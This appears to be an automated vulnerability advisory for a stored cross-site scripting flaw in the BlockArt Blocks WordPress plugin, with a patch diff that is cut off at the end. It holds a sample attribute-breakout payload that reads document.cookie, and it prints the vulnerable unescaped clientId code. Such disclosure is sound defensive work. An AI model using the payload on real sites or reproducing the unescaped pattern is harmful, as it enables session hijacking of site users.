Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-3498: BlockArt Blocks <= 2.2.15 – Authenticated (Author+) Stored Cross-Site Scripting via 'clientId' Block Attribute (blockart-blocks)

CVE ID CVE-2026-3498
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.15
Patched Version 2.3.0
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3498:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the BlockArt Blocks WordPress plugin affecting versions up to and including 2.2.15. The vulnerability exists in the ‘clientId’ block attribute handling across multiple block types, allowing attackers with Author-level permissions or higher to inject malicious scripts that execute when users view compromised pages. The CVSS score of 6.4 reflects the moderate impact requiring authentication but enabling persistent script execution.

The root cause is insufficient output escaping of the ‘clientId’ attribute in three specific block rendering functions. In the vulnerable version, the plugin directly concatenates user-controlled ‘clientId’ values into HTML class attributes without proper sanitization. The affected files are blockart-blocks/includes/BlockTypes/PostTemplate.php at lines 65-66, blockart-blocks/includes/BlockTypes/QueryLoop.php at line 40, and blockart-blocks/includes/BlockTypes/Slider.php at line 41. Each instance uses the $attributes[‘clientId’] parameter directly in string concatenation for CSS class generation, creating an injection vector through the class attribute context.

Exploitation requires an authenticated attacker with at least Author-level access to WordPress. The attacker creates or edits a post containing BlockArt blocks, injecting malicious JavaScript payloads within the ‘clientId’ attribute values. For example, an attacker could craft a payload like ‘blockart-post-template-” onmouseover=”alert(document.cookie)” data-‘ which would break out of the class attribute context and execute when users hover over the affected block. The payload persists in the post content and executes for all users viewing the compromised page.

The patch addresses the vulnerability by adding proper output escaping to all three affected locations. In PostTemplate.php line 65, the fix wraps $attributes[‘clientId’] with esc_attr(). In QueryLoop.php line 40, the entire concatenated string receives esc_attr() wrapping. The Slider.php file shows extensive refactoring for grid functionality but maintains proper escaping for clientId usage. These changes ensure user-supplied ‘clientId’ values are HTML-attribute encoded before output, neutralizing XSS payloads while preserving the functional class naming.

Successful exploitation enables attackers to execute arbitrary JavaScript in the context of authenticated users viewing compromised pages. This can lead to session hijacking, administrative actions performed on behalf of users, content modification, or redirection to malicious sites. The stored nature means the payload executes repeatedly without further attacker interaction, amplifying the impact across all site visitors with appropriate permissions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/blockart-blocks/blockart.php
+++ b/blockart-blocks/blockart.php
@@ -4,7 +4,7 @@
  * Description: Craft your website beautifully using Gutenberg blocks like section/column, heading, button, etc. Unlimited possibilities of design with features like colors, backgrounds, typography, layouts, spacing, etc.
  * Author: WPBlockArt
  * Author URI: https://wpblockart.com/
- * Version: 2.2.15
+ * Version: 2.3.0
  * Requires at least: 5.5
  * Requires PHP: 7.4
  * Text Domain: blockart-blocks
@@ -19,7 +19,7 @@

 defined( 'ABSPATH' ) || exit;

-! defined( 'BLOCKART_VERSION' ) && define( 'BLOCKART_VERSION', '2.2.15' );
+! defined( 'BLOCKART_VERSION' ) && define( 'BLOCKART_VERSION', '2.3.0' );
 ! defined( 'BLOCKART_PLUGIN_FILE' ) && define( 'BLOCKART_PLUGIN_FILE', __FILE__ );
 ! defined( 'BLOCKART_PLUGIN_DIR' ) && define( 'BLOCKART_PLUGIN_DIR', dirname( BLOCKART_PLUGIN_FILE ) );
 ! defined( 'BLOCKART_PLUGIN_DIR_URL' ) && define( 'BLOCKART_PLUGIN_DIR_URL', plugin_dir_url( BLOCKART_PLUGIN_FILE ) );
--- a/blockart-blocks/dist/blocks-17.asset.php
+++ b/blockart-blocks/dist/blocks-17.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'ba7961e66d8f311ee13c');
--- a/blockart-blocks/dist/blocks.asset.php
+++ b/blockart-blocks/dist/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'c7e608a7b571e84c08fa');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'a41e7efa5f8fead028a8');
--- a/blockart-blocks/dist/common.asset.php
+++ b/blockart-blocks/dist/common.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f8f0f0cc16295c351d2c');
+<?php return array('dependencies' => array(), 'version' => '96d6e7361c5af323c463');
--- a/blockart-blocks/dist/countdown.asset.php
+++ b/blockart-blocks/dist/countdown.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'e1191487cccb46f62e2e');
+<?php return array('dependencies' => array(), 'version' => '9c90195a0d1892790b96');
--- a/blockart-blocks/dist/counter.asset.php
+++ b/blockart-blocks/dist/counter.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '06ae77973435d97b5c82');
+<?php return array('dependencies' => array(), 'version' => '0552844c1f433db90ac7');
--- a/blockart-blocks/dist/dashboard-17.asset.php
+++ b/blockart-blocks/dist/dashboard-17.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '4802c9db8addce34866e');
--- a/blockart-blocks/dist/dashboard.asset.php
+++ b/blockart-blocks/dist/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'bab6be0a6b3084f3c2b9');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'cf2a26469d391d6e5e29');
--- a/blockart-blocks/dist/faq.asset.php
+++ b/blockart-blocks/dist/faq.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '8c4286305458302a3abd');
+<?php return array('dependencies' => array(), 'version' => '73cf95604cae843078a3');
--- a/blockart-blocks/dist/frontend-utils.asset.php
+++ b/blockart-blocks/dist/frontend-utils.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'a189d4f2d9821d2293ee');
+<?php return array('dependencies' => array(), 'version' => '541352a8597ae99991af');
--- a/blockart-blocks/dist/image-comparison.asset.php
+++ b/blockart-blocks/dist/image-comparison.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '04a8977212c67a75b0e5');
+<?php return array('dependencies' => array(), 'version' => '3cc184247d139d97b849');
--- a/blockart-blocks/dist/image-gallery.asset.php
+++ b/blockart-blocks/dist/image-gallery.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'ba99f075e76b9906d256');
+<?php return array('dependencies' => array(), 'version' => '030d847ecd0fc0750e9b');
--- a/blockart-blocks/dist/lottie.asset.php
+++ b/blockart-blocks/dist/lottie.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '0f5761ce9e3ffbdc8082');
+<?php return array('dependencies' => array(), 'version' => '6d20277bc11b6faaff84');
--- a/blockart-blocks/dist/map.asset.php
+++ b/blockart-blocks/dist/map.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dcfe5042547f20c16d01');
+<?php return array('dependencies' => array(), 'version' => '9d02b733f8005dc40212');
--- a/blockart-blocks/dist/modal.asset.php
+++ b/blockart-blocks/dist/modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '33e76264095232ef5ed8');
+<?php return array('dependencies' => array(), 'version' => '3e6e316a834409177494');
--- a/blockart-blocks/dist/notice.asset.php
+++ b/blockart-blocks/dist/notice.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'eaf9ade7e977209a05c5');
+<?php return array('dependencies' => array(), 'version' => '31b26274f3883ea5ccb0');
--- a/blockart-blocks/dist/progress.asset.php
+++ b/blockart-blocks/dist/progress.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f0b0feac358f22122f3e');
+<?php return array('dependencies' => array(), 'version' => '22ba3be077fdf765d1e6');
--- a/blockart-blocks/dist/slider.asset.php
+++ b/blockart-blocks/dist/slider.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '277ef4bede8eb6a3b77d');
+<?php return array('dependencies' => array(), 'version' => '9c32fc35a948a3e5c2c0');
--- a/blockart-blocks/dist/table-of-contents.asset.php
+++ b/blockart-blocks/dist/table-of-contents.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'd42869dd934d2f526c9f');
+<?php return array('dependencies' => array(), 'version' => '337d781fd202a8948cc3');
--- a/blockart-blocks/dist/tabs.asset.php
+++ b/blockart-blocks/dist/tabs.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '026c1ed542e97b9d93e3');
+<?php return array('dependencies' => array(), 'version' => 'dae8883ae2f236d5b325');
--- a/blockart-blocks/dist/timeline.asset.php
+++ b/blockart-blocks/dist/timeline.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'd5f4871b38993abb953a');
+<?php return array('dependencies' => array(), 'version' => '2b2133afb800c9fdbeb1');
--- a/blockart-blocks/includes/BlockTypes/PostTemplate.php
+++ b/blockart-blocks/includes/BlockTypes/PostTemplate.php
@@ -64,8 +64,8 @@

 		$classes = array(
 			'blockart-post-template',
-			'blockart-post-template-' . $attributes['clientId'],
-			'columns-' . $attributes['columns'],
+			'blockart-post-template-' . esc_attr( $attributes['clientId'] ),
+			'columns-' . absint( $attributes['columns'] ),
 		);

 		$block_content = sprintf(
--- a/blockart-blocks/includes/BlockTypes/QueryLoop.php
+++ b/blockart-blocks/includes/BlockTypes/QueryLoop.php
@@ -40,7 +40,7 @@

 		return sprintf(
 			$format,
-			'blockart-query-loop blockart-query-loop-' . $attributes['clientId'],
+			esc_attr( 'blockart-query-loop blockart-query-loop-' . $attributes['clientId'] ),
 			$content
 		);
 	}
--- a/blockart-blocks/includes/BlockTypes/Slider.php
+++ b/blockart-blocks/includes/BlockTypes/Slider.php
@@ -32,13 +32,22 @@
 	 */
 	public function build_html( $content ) {
 		if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) {
+			$rows       = $this->get_attribute( 'rows', 1 );
+			$is_grid    = $rows > 1;
 			$html_attrs = blockart_build_html_attrs(
 				array(
 					'class'       => 'splide',
 					'data-splide' => wp_json_encode(
 						array(
-							'perPage'      => $this->get_attribute( 'perPage', 1 ),
-							'perMove'      => $this->get_attribute( 'perMove', 1 ),
+							'perPage'      => ! $is_grid ? $this->get_attribute( 'perPage', 1 ) : $this->get_attribute( 'columns', 1 ),
+							'perMove'      => ! $is_grid ? $this->get_attribute( 'perMove', 1 ) : $this->get_attribute( 'columns', 1 ),
+							'grid'         => ! $is_grid ? null : array(
+								'rows' => $rows,
+								'gap'  => array(
+									'row' => $this->get_attribute( 'spaceBetween', 10 )['value'] ?? 20,
+									'col' => $this->get_attribute( 'spaceBetween', 10 )['value'] ?? 20,
+								),
+							),
 							'autoplay'     => $this->get_attribute( 'autoplay', false ),
 							'pauseOnHover' => $this->get_attribute( 'pauseOnHover', false ),
 							'arrows'       => $this->get_attribute( 'arrows', true ),
@@ -48,19 +57,34 @@
 							'interval'     => $this->get_attribute( 'interval', 5000 ),
 							'type'         => $this->get_attribute( 'loop', false ) ? 'loop' : 'slide',
 							'gap'          => $this->get_attribute( 'spaceBetween', 10 )['value'] ?? 20,
-							'breakpoints'  => array(
-								'640'  => array(
-									'perPage' => max( 1, $this->get_attribute( 'perPage', 1 ) - 2 ),
-								),
-								'768'  => array(
-									'perPage' => max( 1, $this->get_attribute( 'perPage', 1 ) - 1 ),
-									'perMove' => max( 1, $this->get_attribute( 'perMove', 1 ) - 1 ),
-								),
-								'1024' => array(
-									'perPage' => $this->get_attribute( 'perPage', 1 ),
-								),
+							'padding'      => array(
+								'left' => '1px',
 							),
-						)
+							'breakpoints'  =>
+								! $is_grid ? array(
+									'640'  => array(
+										'perPage' => max( 1, $this->get_attribute( 'perPage', 1 ) - 2 ),
+									),
+									'768'  => array(
+										'perPage' => max( 1, $this->get_attribute( 'perPage', 1 ) - 1 ),
+										'perMove' => max( 1, $this->get_attribute( 'perMove', 1 ) - 1 ),
+									),
+									'1024' => array(
+										'perPage' => $this->get_attribute( 'perPage', 1 ),
+									),
+								) : array(
+									'640'  => array(
+										'perPage' => max( 1, $this->get_attribute( 'columns', 1 ) - 2 ),
+									),
+									'768'  => array(
+										'perPage' => max( 1, $this->get_attribute( 'columns', 1 ) - 1 ),
+										'perMove' => max( 1, $this->get_attribute( 'columns', 1 ) - 1 ),
+									),
+									'1024' => array(
+										'perPage' => $this->get_attribute( 'columns', 1 ),
+									),
+								),
+						),
 					),
 				)
 			);
--- a/blockart-blocks/vendor/autoload.php
+++ b/blockart-blocks/vendor/autoload.php
@@ -2,21 +2,6 @@

 // autoload.php @generated by Composer

-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    throw new RuntimeException($err);
-}
-
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit7c5a0bca96ca44bf6478c95e64322075::getLoader();
+return ComposerAutoloaderInit397291d54c46e0a517cfece8075d563f::getLoader();
--- a/blockart-blocks/vendor/composer/ClassLoader.php
+++ b/blockart-blocks/vendor/composer/ClassLoader.php
@@ -42,37 +42,35 @@
  */
 class ClassLoader
 {
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var string|null */
+    /** @var ?string */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array<string, array<string, int>>
+     * @var array[]
+     * @psalm-var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array<string, list<string>>
+     * @var array[]
+     * @psalm-var array<string, array<int, string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var list<string>
+     * @var array[]
+     * @psalm-var array<string, string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * List of PSR-0 prefixes
-     *
-     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
-     *
-     * @var array<string, array<string, list<string>>>
+     * @var array[]
+     * @psalm-var array<string, array<string, string[]>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var list<string>
+     * @var array[]
+     * @psalm-var array<string, string>
      */
     private $fallbackDirsPsr0 = array();

@@ -80,7 +78,8 @@
     private $useIncludePath = false;

     /**
-     * @var array<string, string>
+     * @var string[]
+     * @psalm-var array<string, string>
      */
     private $classMap = array();

@@ -88,29 +87,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var array<string, bool>
+     * @var bool[]
+     * @psalm-var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var string|null */
+    /** @var ?string */
     private $apcuPrefix;

     /**
-     * @var array<string, self>
+     * @var self[]
      */
     private static $registeredLoaders = array();

     /**
-     * @param string|null $vendorDir
+     * @param ?string $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
-        self::initializeIncludeClosure();
     }

     /**
-     * @return array<string, list<string>>
+     * @return string[]
      */
     public function getPrefixes()
     {
@@ -122,7 +121,8 @@
     }

     /**
-     * @return array<string, list<string>>
+     * @return array[]
+     * @psalm-return array<string, array<int, string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,7 +130,8 @@
     }

     /**
-     * @return list<string>
+     * @return array[]
+     * @psalm-return array<string, string>
      */
     public function getFallbackDirs()
     {
@@ -138,7 +139,8 @@
     }

     /**
-     * @return list<string>
+     * @return array[]
+     * @psalm-return array<string, string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -146,7 +148,8 @@
     }

     /**
-     * @return array<string, string> Array of classname => path
+     * @return string[] Array of classname => path
+     * @psalm-return array<string, string>
      */
     public function getClassMap()
     {
@@ -154,7 +157,8 @@
     }

     /**
-     * @param array<string, string> $classMap Class to filename map
+     * @param string[] $classMap Class to filename map
+     * @psalm-param array<string, string> $classMap
      *
      * @return void
      */
@@ -171,25 +175,24 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string              $prefix  The prefix
-     * @param list<string>|string $paths   The PSR-0 root directories
-     * @param bool                $prepend Whether to prepend the directories
+     * @param string          $prefix  The prefix
+     * @param string[]|string $paths   The PSR-0 root directories
+     * @param bool            $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
-        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    $paths,
+                    (array) $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    $paths
+                    (array) $paths
                 );
             }

@@ -198,19 +201,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = $paths;
+            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                $paths,
+                (array) $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                $paths
+                (array) $paths
             );
         }
     }
@@ -219,9 +222,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string              $prefix  The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths   The PSR-4 base directories
-     * @param bool                $prepend Whether to prepend the directories
+     * @param string          $prefix  The prefix/namespace, with trailing '\'
+     * @param string[]|string $paths   The PSR-4 base directories
+     * @param bool            $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -229,18 +232,17 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
-        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    $paths,
+                    (array) $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    $paths
+                    (array) $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -250,18 +252,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = $paths;
+            $this->prefixDirsPsr4[$prefix] = (array) $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                $paths,
+                (array) $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                $paths
+                (array) $paths
             );
         }
     }
@@ -270,8 +272,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string              $prefix The prefix
-     * @param list<string>|string $paths  The PSR-0 base directories
+     * @param string          $prefix The prefix
+     * @param string[]|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -288,8 +290,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string              $prefix The prefix/namespace, with trailing '\'
-     * @param list<string>|string $paths  The PSR-4 base directories
+     * @param string          $prefix The prefix/namespace, with trailing '\'
+     * @param string[]|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -423,8 +425,7 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            $includeFile = self::$includeFile;
-            $includeFile($file);
+            includeFile($file);

             return true;
         }
@@ -475,9 +476,9 @@
     }

     /**
-     * Returns the currently registered loaders keyed by their corresponding vendor directories.
+     * Returns the currently registered loaders indexed by their corresponding vendor directories.
      *
-     * @return array<string, self>
+     * @return self[]
      */
     public static function getRegisteredLoaders()
     {
@@ -554,26 +555,18 @@

         return false;
     }
+}

-    /**
-     * @return void
-     */
-    private static function initializeIncludeClosure()
-    {
-        if (self::$includeFile !== null) {
-            return;
-        }
-
-        /**
-         * Scope isolated include.
-         *
-         * Prevents access to $this/self from included files.
-         *
-         * @param  string $file
-         * @return void
-         */
-        self::$includeFile = Closure::bind(static function($file) {
-            include $file;
-        }, null, null);
-    }
+/**
+ * Scope isolated include.
+ *
+ * Prevents access to $this/self from included files.
+ *
+ * @param  string $file
+ * @return void
+ * @private
+ */
+function includeFile($file)
+{
+    include $file;
 }
--- a/blockart-blocks/vendor/composer/InstalledVersions.php
+++ b/blockart-blocks/vendor/composer/InstalledVersions.php
@@ -21,36 +21,23 @@
  * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
  *
  * To require its presence, you can require `composer-runtime-api ^2.0`
- *
- * @final
  */
 class InstalledVersions
 {
     /**
-     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
-     * @internal
-     */
-    private static $selfDir = null;
-
-    /**
      * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
+     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
      */
     private static $installed;

     /**
-     * @var bool
-     */
-    private static $installedIsLocalDir;
-
-    /**
      * @var bool|null
      */
     private static $canGetVendors;

     /**
      * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     private static $installedByVendor = array();

@@ -109,7 +96,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
+                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
             }
         }

@@ -130,7 +117,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints((string) $constraint);
+        $constraint = $parser->parseConstraints($constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -254,7 +241,7 @@

     /**
      * @return array
-     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
+     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
      */
     public static function getRootPackage()
     {
@@ -268,7 +255,7 @@
      *
      * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
      * @return array[]
-     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
+     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
      */
     public static function getRawData()
     {
@@ -291,7 +278,7 @@
      * Returns the raw data of all installed.php which are currently loaded for custom implementations
      *
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     public static function getAllRawData()
     {
@@ -314,35 +301,17 @@
      * @param  array[] $data A vendor/composer/installed.php data set
      * @return void
      *
-     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
+     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
      */
     public static function reload($data)
     {
         self::$installed = $data;
         self::$installedByVendor = array();
-
-        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
-        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
-        // so we have to assume it does not, and that may result in duplicate data being returned when listing
-        // all installed packages for example
-        self::$installedIsLocalDir = false;
-    }
-
-    /**
-     * @return string
-     */
-    private static function getSelfDir()
-    {
-        if (self::$selfDir === null) {
-            self::$selfDir = strtr(__DIR__, '\', '/');
-        }
-
-        return self::$selfDir;
     }

     /**
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
+     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
      */
     private static function getInstalled()
     {
@@ -354,9 +323,7 @@
         $copiedLocalDir = false;

         if (self::$canGetVendors) {
-            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
-                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
@@ -364,14 +331,11 @@
                     $required = require $vendorDir.'/composer/installed.php';
                     self::$installedByVendor[$vendorDir] = $required;
                     $installed[] = $required;
-                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                    if (strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
                         self::$installed = $required;
-                        self::$installedIsLocalDir = true;
+                        $copiedLocalDir = true;
                     }
                 }
-                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
-                    $copiedLocalDir = true;
-                }
             }
         }

--- a/blockart-blocks/vendor/composer/autoload_classmap.php
+++ b/blockart-blocks/vendor/composer/autoload_classmap.php
@@ -2,7 +2,7 @@

 // autoload_classmap.php @generated by Composer

-$vendorDir = dirname(__DIR__);
+$vendorDir = dirname(dirname(__FILE__));
 $baseDir = dirname($vendorDir);

 return array(
--- a/blockart-blocks/vendor/composer/autoload_files.php
+++ b/blockart-blocks/vendor/composer/autoload_files.php
@@ -2,7 +2,7 @@

 // autoload_files.php @generated by Composer

-$vendorDir = dirname(__DIR__);
